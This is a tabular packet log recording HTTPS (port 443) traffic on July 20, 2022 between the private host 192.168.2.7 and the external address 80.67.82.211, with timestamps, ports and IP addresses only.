Jul 20, 2022 19:09:02.042798042 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.042819023 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.042870045 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.042893887 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.042900085 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.042979956 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.042990923 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.043057919 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.043124914 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.044027090 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.044047117 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.044073105 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.044078112 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.044308901 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.044404984 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.085870028 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.085892916 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.085920095 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.085933924 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.086190939 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.086199999 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.107037067 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.107422113 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.108149052 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.108181953 CEST	443	53446	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.108195066 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.110049963 CEST	53446	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.216509104 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.216605902 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.231961966 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.232028008 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.232140064 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.232608080 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.232639074 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.268168926 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.268313885 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.280514002 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.282697916 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.282788038 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.349873066 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.349916935 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.349939108 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350048065 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350064039 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350081921 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350183010 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350197077 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350215912 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350243092 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350280046 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350281000 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350296021 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350312948 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350327969 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350343943 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350353003 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350368023 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350382090 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350393057 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350411892 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350420952 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350434065 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350441933 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350457907 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350471020 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350486040 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350513935 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350522041 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350534916 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350557089 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350572109 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350591898 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350614071 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350626945 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350660086 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350666046 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350702047 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350708961 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350722075 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350750923 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350804090 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350898981 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.350970030 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.350985050 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.351011038 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.351044893 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.351059914 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.351074934 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.351083040 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.351111889 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.351145983 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.351160049 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.351170063 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.351188898 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.351218939 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.351232052 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.351259947 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.351277113 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.351283073 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.351294994 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.351320028 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.351330996 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.351375103 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.357284069 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.357316017 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.357428074 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.358015060 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.358032942 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.358052969 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.358189106 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.358201981 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.358261108 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.358269930 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.358330011 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.358340025 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.358395100 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.358416080 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.358469009 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.358481884 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.358551025 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.358562946 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.358608961 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.358614922 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.358625889 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.358670950 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.358684063 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.358705997 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.358720064 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.358727932 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.358824968 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.358839989 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.358853102 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.358889103 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.358901978 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.358983040 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.358997107 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359018087 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359050989 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359057903 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359066010 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359184027 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359199047 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359215975 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359262943 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359275103 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359287024 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359307051 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359328985 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359359980 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359370947 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359390020 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359416008 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359451056 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359463930 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359482050 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359487057 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359525919 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359536886 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359574080 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359576941 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359610081 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359618902 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359631062 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359647036 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359695911 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359752893 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359786034 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359826088 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359841108 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359873056 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359903097 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359903097 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359908104 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359924078 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.359961987 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.359998941 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360008001 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360019922 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360040903 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360048056 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360066891 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360117912 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360117912 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360135078 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360157013 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360181093 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360198021 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360209942 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360213995 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360230923 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360244036 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360255957 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360284090 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360313892 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360323906 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360331059 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360337973 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360354900 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360415936 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360497952 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360508919 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360553026 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360569954 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360620022 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360671997 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360740900 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360773087 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360800028 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360832930 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360847950 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360863924 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.360869884 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.360971928 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361023903 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361052990 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.361068010 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361103058 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361149073 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361188889 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.361207008 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361232042 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361255884 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.361259937 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361325026 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.361350060 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361358881 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.361366034 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361421108 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.361465931 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.361475945 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361496925 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361521006 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361581087 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.361582994 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361598969 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.361610889 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361628056 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361659050 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.361702919 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.361713886 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361747980 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.361753941 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361754894 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.361769915 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361812115 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.361897945 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361927032 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361969948 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.361987114 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.361999035 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362004042 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362035036 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362055063 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362067938 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362082958 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362107992 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362144947 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362154961 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362181902 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362188101 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362205029 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362215996 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362234116 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362301111 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362318993 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362329960 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362359047 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362396002 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362438917 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362497091 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362515926 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362541914 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362584114 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362597942 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362612963 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362620115 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362643957 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362649918 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362663031 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362687111 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362721920 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362725973 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362737894 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362763882 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362785101 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362788916 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362799883 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362822056 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362843990 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362857103 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362875938 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362890959 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362931013 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362941027 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.362983942 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.362987041 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.363023996 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.398324013 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.398351908 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.398376942 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.398411989 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.398469925 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.398485899 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.398534060 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.399986029 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.400012016 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.400059938 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.400146008 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.400168896 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.400194883 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.400228977 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.401667118 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.401700974 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.401808023 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.401833057 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.401890039 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.414504051 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.414536953 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.414607048 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.414669037 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.414701939 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.414742947 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.414779902 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.417135954 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.417176962 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.417273998 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.417290926 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.417316914 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.417351007 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.418407917 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.418442011 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.418541908 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.418555021 CEST	443	53510	80.67.82.211	192.168.2.7
